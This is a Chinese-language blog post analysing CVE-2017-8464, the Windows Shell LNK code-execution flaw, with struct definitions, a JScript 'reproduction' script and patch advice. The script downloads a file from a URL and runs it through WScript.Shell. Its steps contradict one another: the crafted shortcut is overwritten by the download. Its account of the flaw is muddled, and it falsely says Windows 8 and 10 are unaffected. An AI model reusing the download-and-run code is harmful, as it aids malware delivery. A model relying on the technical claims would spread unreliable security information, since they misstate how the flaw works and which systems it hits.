CVE-2017-8464漏洞分析

发布时间:2023-05-21

一、漏洞概述

CVE-2017-8464是一种在Windows Shell远程执行代码的漏洞。攻击者可以通过文件共享、WebDAV共享、USB、外部存储等多种方式将恶意的LNK文件注入受害用户计算机中,当用户双击打开这些恶意的LNK文件时,就会触发漏洞,攻击者就可以远程控制受害者计算机。

  • 漏洞类型:远程执行代码漏洞
  • 漏洞等级:严重

二、漏洞成因

在Windows Shell中,ShellExecute函数是一个非常重要的函数,它主要是用于启动一个应用程序、打开指定文件等操作。当用户双击一个Lnk文件时,ShellExecute会被调用来启动指定程序。而LNK文件中各种属性的值会通过ShellExecute函数参数传递给ShellExecute。恶意LNK文件通过特定的属性和值来操纵ShellExecute函数进而执行恶意代码。

三、漏洞分析

LNK文件是Windows文件系统中短切方式的一种,它包含了被链接的文件和目标信息。在LNK文件中,一个被称为“ShellLinkHeader”的结构体保存了多个与LNK文件相关的信息,包括LNK文件大小、文件标识符等等。此外,还有一个名为“LinkInfo”的部分,保存着LNK文件的一些特性,包括其实体路径、属性、图标等,这些信息对ShellExecute函数来说是至关重要的。

typedef struct _GUID {
    ULONG Data1;
    USHORT Data2;
    USHORT Data3;
    UCHAR Data4[8];
} GUID;
typedef struct {
    GUID LinkCLSID;
    ULONG LinkFlags;
    ULONG FileAttributes;
    FILETIME CreationTime;
    FILETIME AccessTime;
    FILETIME WriteTime;
    ULONG FileSize;
    LONG IconIndex;
    ULONG ShowCommand;
    short HotKey;
    ULONG Reserved1;
    ULONG Reserved2;
    ULONG Reserved3;
} ShellLinkHeader;
typedef struct {
    ULONG LinkInfoSize;
    ULONG LinkInfoHeaderSize;
    ULONG LinkInfoFlags;
    ULONG VolumeIDOffset;
    ULONG LocalBasePathOffset;
    ULONG CommonNetworkRelativeLinkOffset;
    ULONG CommonPathSuffixOffset;
    ULONG LocalBasePathOffsetUnicode;
    ULONG CommonPathSuffixOffsetUnicode;
} LinkInfo;

在漏洞的复现过程中,攻击者通过LNK文件中的值来操纵ShellExecute函数。例如,LinkInfo中保存的本地路径信息可以通过RemoteName来覆盖,当ShellExecute函数执行时,会按照RemoteName中指定的路径来执行,而不是真实路径。攻击者利用该漏洞可以操纵ShellExecute函数,从而实现对受害计算机的远程控制。

四、漏洞复现

需要注意的是,CVE-2017-8464漏洞只存在于Windows 7及其前身的Windows操作系统上,Windows 8和Windows 10并不受影响。 漏洞复现过程如下:

//创建LNK文件,设置LinkInfo信息
var shellApplication = new ActiveXObject("Shell.Application");
var folder = shellApplication.NameSpace(folderPath);
var folderItem = folder.ParseName(fileName);
var link = folderItem.GetLink;
var linkPath = folderPath + "\\" + lnkName;
var shortcut = link.CreateShortcut(linkPath);
shortcut.TargetPath = "calc.exe";
shortcut.Arguments = "";
shortcut.Description = "test shortcut";
shortcut.IconLocation = "calc.exe";
shortcut.Save();
//伪装LNK文件,RemoteName覆盖本地路径信息
var l2 = "\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
var l3 = "\x4e\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00\x2f\x00";
var fileStream = new ActiveXObject("ADODB.Stream");
fileStream.Type = 2;
fileStream.Open();
fileStream.LoadFromFile(linkPath);
fileStream.Position = 0x4c+4;
fileStream.WriteText(l2, 1);
fileStream.WriteText(l3, 1);
fileStream.SaveToFile(downloadPath, 2);
fileStream.Close();
//下载伪装的LNK文件
var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
objXMLHTTP.open("GET", downloadUrl, false);
objXMLHTTP.send();
var adoStream = new ActiveXObject("ADODB.Stream");
adoStream.Type = 1;
adoStream.Open();
adoStream.Write(objXMLHTTP.ResponseBody);
adoStream.Position = 0;
adoStream.SaveToFile(downloadPath, 2);
adoStream.Close();
//双击伪装的LNK文件
var objShell = new ActiveXObject("WScript.Shell");
objShell.Run(downloadPath, 1, true);

五、漏洞防范

微软已经发布了针对该漏洞的补丁,建议用户及时升级操作系统,安装最新的安全补丁。 此外,用户在使用电脑时,要警惕不明来源文件和URL链接,避免双击或访问可能存在安全问题的文件。

六、总结

CVE-2017-8464是一种存在于Windows Shell的远程执行代码漏洞,攻击者可以通过构造LNK文件注入恶意代码,并远程控制受害者计算机。尽管漏洞已经有针对应对的安全补丁,但是还是建议用户在使用电脑时要保持警惕,避免不明来源的文件和URL链接带来的安全风险。